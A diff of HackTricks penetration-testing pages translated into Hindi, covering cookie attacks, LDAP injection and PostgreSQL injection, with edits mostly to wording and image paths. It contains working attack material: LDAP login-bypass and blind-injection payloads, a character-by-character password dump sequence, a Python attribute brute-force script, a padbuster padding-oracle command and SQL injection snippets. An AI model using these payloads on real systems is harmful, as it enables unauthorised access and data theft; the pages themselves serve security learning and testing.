@ -117,7 +116,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
### Decoding and Manipulating Cookies
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को फिर से कुकी में एन्कोड करके
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और उनके संशोधित डेटा को कुकी में वापस एन्कोड करके अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है।
### Session Hijacking
@ -127,7 +126,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -137,7 +136,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
यहाँ, हमलावर पीड़ित को हमलावर की सत्र कुकी का उपयोग करने के लिए मनाता है। पीड़ित, यह मानते हुए कि वे अपने खाते में लॉग इन हैं, अनजाने में हमलावर के खाते के संदर्भ में क्रियाएँ करेगा।
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -145,17 +144,17 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
JWT में संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है।
कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें कैसे शोषित किया जा सकता है, इस पर गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है।
### Cross-Site Request Forgery (CSRF)
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ निष्पादित करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
### Empty Cookies
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़र बिना नाम वाली कुकीज़ बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़रों को बिना नाम वाली कुकीज़ बनाने की अनुमति होती है, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -169,7 +168,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
यह ब्राउज़र को एक कुकी हेडर भेजने की ओर ले जाता है जिसे हर वेब सर्वर द्वारा `a` नामक कुकी के रूप में और `b` मान के साथ व्याख्यायित किया जाता है।
यह ब्राउज़र को एक कुकी हेडर भेजने की ओर ले जाता है जिसे हर वेब सर्वर द्वारा `a` नामक कुकी के रूप में व्याख्यायित किया जाता है जिसका मान `b` है।
#### Chrome बग: यूनिकोड सरोगेट कोडपॉइंट समस्या
@ -187,32 +186,32 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### कुकी इंजेक्शन कमजोरियाँ
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही ढंग से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
* Undertow एक उद्धृत मान के तुरंत बाद एक नए कुकी की अपेक्षा करता है बिना सेमीकोलन के।
* Zope अगल कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
* Zope अगल कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
* Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं।
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड करती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकत है।
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जो सुरक्षा उपायों को बायपास कर सकती है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकत है।
### अतिरिक्त कमजोर कुकीज़ जांचें
#### **बुनियादी जांचें**
* **कुकी** हर बार जब आप **लॉगिन** करते हैं तो **एक जैसी** होती है।
* लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें।
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉगिन करने का प्रयास करें।
* **कुकी** हर बार जब आप **लॉगिन** करते हैं, तो **एक जैसी** होती है।
* लॉग आउट करें और उसी कुकी का उपयोग करने का प्रयास करें।
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉगन करने का प्रयास करें।
* जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने का प्रयास करें।
* लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने का प्रयास करें और देखें कि क्या आप समानताएँ देख सकते हैं।
* यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
* जांचें कि क्या पिछले कुकी का काम करता है भले ही आप पासवर्ड बदल दें।
* जांचें कि क्या पिछले कुकी का काम करता है, भले ही आप पासवर्ड बदल दें।
#### **उन्नत कुकी हमले**
यदि कुकी लॉगिन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
यदि कुकी लॉगन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
* बहुत सारे **खाते** बनाने का प्रयास करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है।
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी।
* बहुत सन उपयोगक्ता नाम क साथ कई **खाते** बनाने का प्रयास करें और देखें कि एल्गोरिदम कैसे काम कर रहा है।
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी।
* **पैडिंग** **ओरकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
**पैडिंग ओरकल - पैडबस्टर उदाहरण**
@ -263,10 +262,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -3,23 +3,23 @@
## LDAP Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -38,20 +38,20 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**Filtercomp** = और / या / नहीं / आइटम\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Item**= सरल / उपस्थित / उपसर्ग\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE
**(&)** = पूर्ण TRUE\
**(|)** = पूर्ण FALSE
उदाहरण के लिए:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -61,7 +61,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
**OpenLDAP**: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।\
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करते हैं
**SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करता है
**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।**
@ -73,7 +73,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
फिर: `(&(objectClass=`**`*)(ObjectClass=*))`** पहला फ़िल्टर होगा (जो निष्पादित होता है)।
### Login Bypass
### लॉगिन बायपास
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप जो भी पासवर्ड के अंदर डालें, वह हैश किया गया हो।
```bash
@ -138,7 +138,7 @@ password=any
### ब्लाइंड LDAP इंजेक्शन
आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए झूठे या सही उत्तरों को मजबूर कर सकते हैं:
आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए False या True प्रतिक्रियाओं को मजबूर कर सकते हैं:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Dump data
आप ascii अक्षरों, अंकों और प्रतीकों के माध्यम से पुनरावृत्ति कर सकते हैं:
आप ascii अक्षरों, अंकों और प्रतीकों पर पुनरावृत्ति कर सकते हैं:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **मान्य LDAP फ़ील्ड खोजें**
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने के लिए उपयोग किया जा सकता है।** आप उस जानकारी को निकालने के लिए **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
```python
#!/usr/bin/python3
import requests
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें.
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# PostgreSQL injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,23 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**यह पृष्ठ विभिन्न ट्रिक्स को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकते हैं और उन ट्रिक्स को पूरा कर सकते हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
**यह पृष्ठ विभिन्न तकनीकों को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL इंजेक्शन का शोषण करने में मदद कर सकती हैं और उन तकनीकों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके एक्सफिल्ट्रेशन उदाहरण**
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर बड़े ऑब्जेक्ट्स की सामग्री को फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर एक्सफिल्ट्रेट करें।**
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें।**
## PostgreSQL हमले: पढ़ें/लिखें, RCE, प्रिवेस्क
@ -46,7 +46,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### PostgreSQL स्ट्रिंग फ़ंक्शन
स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।**\
[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/) **आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
[**इस पृष्ठ पर**](https://www.postgresqltutorial.com/postgresql-string-functions/) **आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन पा सकते हैं।**
### स्टैक्ड क्वेरीज़
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
यह फ़ंक्शन सभी डेटा को XML प्रारूप में केवल एक फ़ाइल में लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:
यह फ़ंक्शन केवल एक फ़ाइल में XML प्रारूप में सभी डेटा लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -97,15 +97,15 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
